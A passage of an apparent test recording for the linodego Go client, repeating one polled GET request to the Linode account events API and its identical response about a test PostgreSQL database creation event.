'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:55:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:56:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:56:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:56:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:56:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:57:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:57:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:57:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:57:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:58:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:58:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:58:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:58:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:59:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:59:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:59:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:59:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - 